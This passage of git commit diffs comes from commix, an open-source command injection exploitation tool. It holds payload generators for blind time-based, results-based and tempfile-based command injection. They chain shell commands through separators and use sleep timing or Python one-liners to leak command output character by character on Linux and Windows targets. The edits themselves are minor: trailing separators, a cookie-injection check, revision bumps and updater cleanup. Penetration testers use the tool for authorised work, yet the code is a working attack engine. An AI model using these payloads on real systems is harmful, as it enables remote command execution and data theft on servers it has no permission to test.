")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -407,7 +419,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: @@ -455,7 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -465,7 +479,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "sleep 0 " + separator + "str=\"$(" + cmd + ")\" " + separator + "[ " + str(ascii_char) + " -eq $str ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) @@ -475,7 +490,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -512,7 +528,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -522,7 +539,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -531,7 +549,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index bb7160d095..d6b5af7010 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -51,12 +51,14 @@ def decision(separator, TAG, randv1, randv2): if settings.USE_BACKTICKS: payload = (separator + "echo " + TAG + - TAG + "" + TAG + "" + TAG + "" + TAG + "" + + separator ) else: payload = (separator + "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) else: if settings.USE_BACKTICKS: @@ -69,7 +71,8 @@ def decision(separator, TAG, randv1, randv2): payload = (separator + "echo " + TAG + math_calc + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) return payload @@ -93,14 +96,16 @@ def decision_alter_shell(separator, TAG, randv1, randv2): payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "')\"" + TAG + "')\"" + + separator ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "')\"" + TAG + "')\"" + + separator ) return payload @@ -110,7 +115,8 @@ def decision_alter_shell(separator, TAG, randv1, randv2): def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + settings.SINGLE_WHITESPACE + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + @@ -119,14 +125,15 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + "echo " + TAG + "" + TAG + "" + cmd_exec + - "" + TAG + "" + TAG + "" + "" + TAG + "" + TAG + "" + + separator ) else: cmd_exec = "$(" + cmd + ")" @@ -134,7 +141,8 @@ def cmd_execution(separator, TAG, cmd): "echo " + TAG + "$(echo " + TAG + ")" + cmd_exec + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) return payload @@ -145,12 +153,15 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + settings.SINGLE_WHITESPACE + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + "for /f \"tokens=*\" %i in ('" + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + + settings.WIN_PYTHON_INTERPRETER + + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) @@ -158,11 +169,17 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if settings.USE_BACKTICKS: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + + TAG + "'%2B'" + TAG + "')\"" + + separator ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + + TAG + "'%2B'" + TAG + "')\"" + + separator ) return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index bfe8d77dbd..5814e16373 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -59,7 +59,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -72,7 +73,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "str1=$(expr length \"$str\")" + separator + #"str1=${%23str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -84,7 +86,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -125,7 +128,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "if [ " + str(j) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -137,7 +141,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -148,7 +153,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) else: pass @@ -220,7 +226,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Transform to ASCII "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -238,7 +245,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + + separator ) separator = _urllib.parse.unquote(separator) @@ -251,7 +259,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -275,6 +284,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -296,7 +306,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "if [ " + str(j) + " -ne ${str1} ] " + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -308,7 +319,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -318,7 +330,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -366,7 +379,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -377,7 +391,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http # Use space as delimiter "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -391,7 +406,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -412,6 +428,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -428,7 +445,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -438,7 +456,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -447,7 +466,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -493,7 +513,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -503,7 +524,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "sleep 0" + separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -512,7 +534,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -550,7 +573,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -560,7 +584,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -569,7 +594,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index c70bdb6e2d..461c9680f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From beca7ca7baa21505fcac49eff1373147ddc7bcea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 14 Jul 2024 09:13:35 +0300 Subject: [PATCH 483/560] Fixes https://github.com/commixproject/commix/issues/942 --- src/core/injections/controller/controller.py | 23 ++++++++++---------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 325abdf4b1..8c58b4af56 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -535,19 +535,20 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True # Cookie Injection cookie_value = menu.options.cookie - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + if cookie_value: + settings.COOKIE_INJECTION = True + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: # Restore cookie value From fec25341f8c9cabfd7d2e1fc3a755703e943cd9b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 14 Jul 2024 09:16:32 +0300 Subject: [PATCH 484/560] Update revision num regarding commit: https://github.com/commixproject/commix/commit/beca7ca7baa21505fcac49eff1373147ddc7bcea --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 461c9680f1..1596aad6c4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "86" +REVISION = "87" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b13fc9e8045a15c40777975762741e2498608b47 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 Jul 2024 07:40:06 +0300 Subject: [PATCH 485/560] Trivial update regarding commix's updater. --- src/utils/settings.py | 2 +- src/utils/update.py | 31 +++---------------------------- 2 files changed, 4 insertions(+), 29 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1596aad6c4..60572e3e1d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 31c68fced2..a55f52a0ce 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -51,7 +51,6 @@ def revision_num(): match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() @@ -59,26 +58,22 @@ def revision_num(): info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() """ The commix's updater. """ def updater(): - time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -91,34 +86,24 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! - else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " - info_msg += "version. " + info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) version. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL - err_msg += " " + settings.APPLICATION + "' " + err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -159,16 +144,13 @@ def unicorn_updater(current_version): info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if menu.options.offline: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -180,7 +162,6 @@ def unicorn_updater(current_version): requirments.do_check(requirment) if requirments.do_check(requirment) == True : settings.print_data_to_stdout(settings.SUCCESS_STATUS) - if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) @@ -192,14 +173,11 @@ def unicorn_updater(current_version): subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -217,12 +195,10 @@ def check_unicorn_version(current_version): if "Magic Unicorn Attack Vector v" in line: latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break - if len(current_version) == 0 or \ (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ 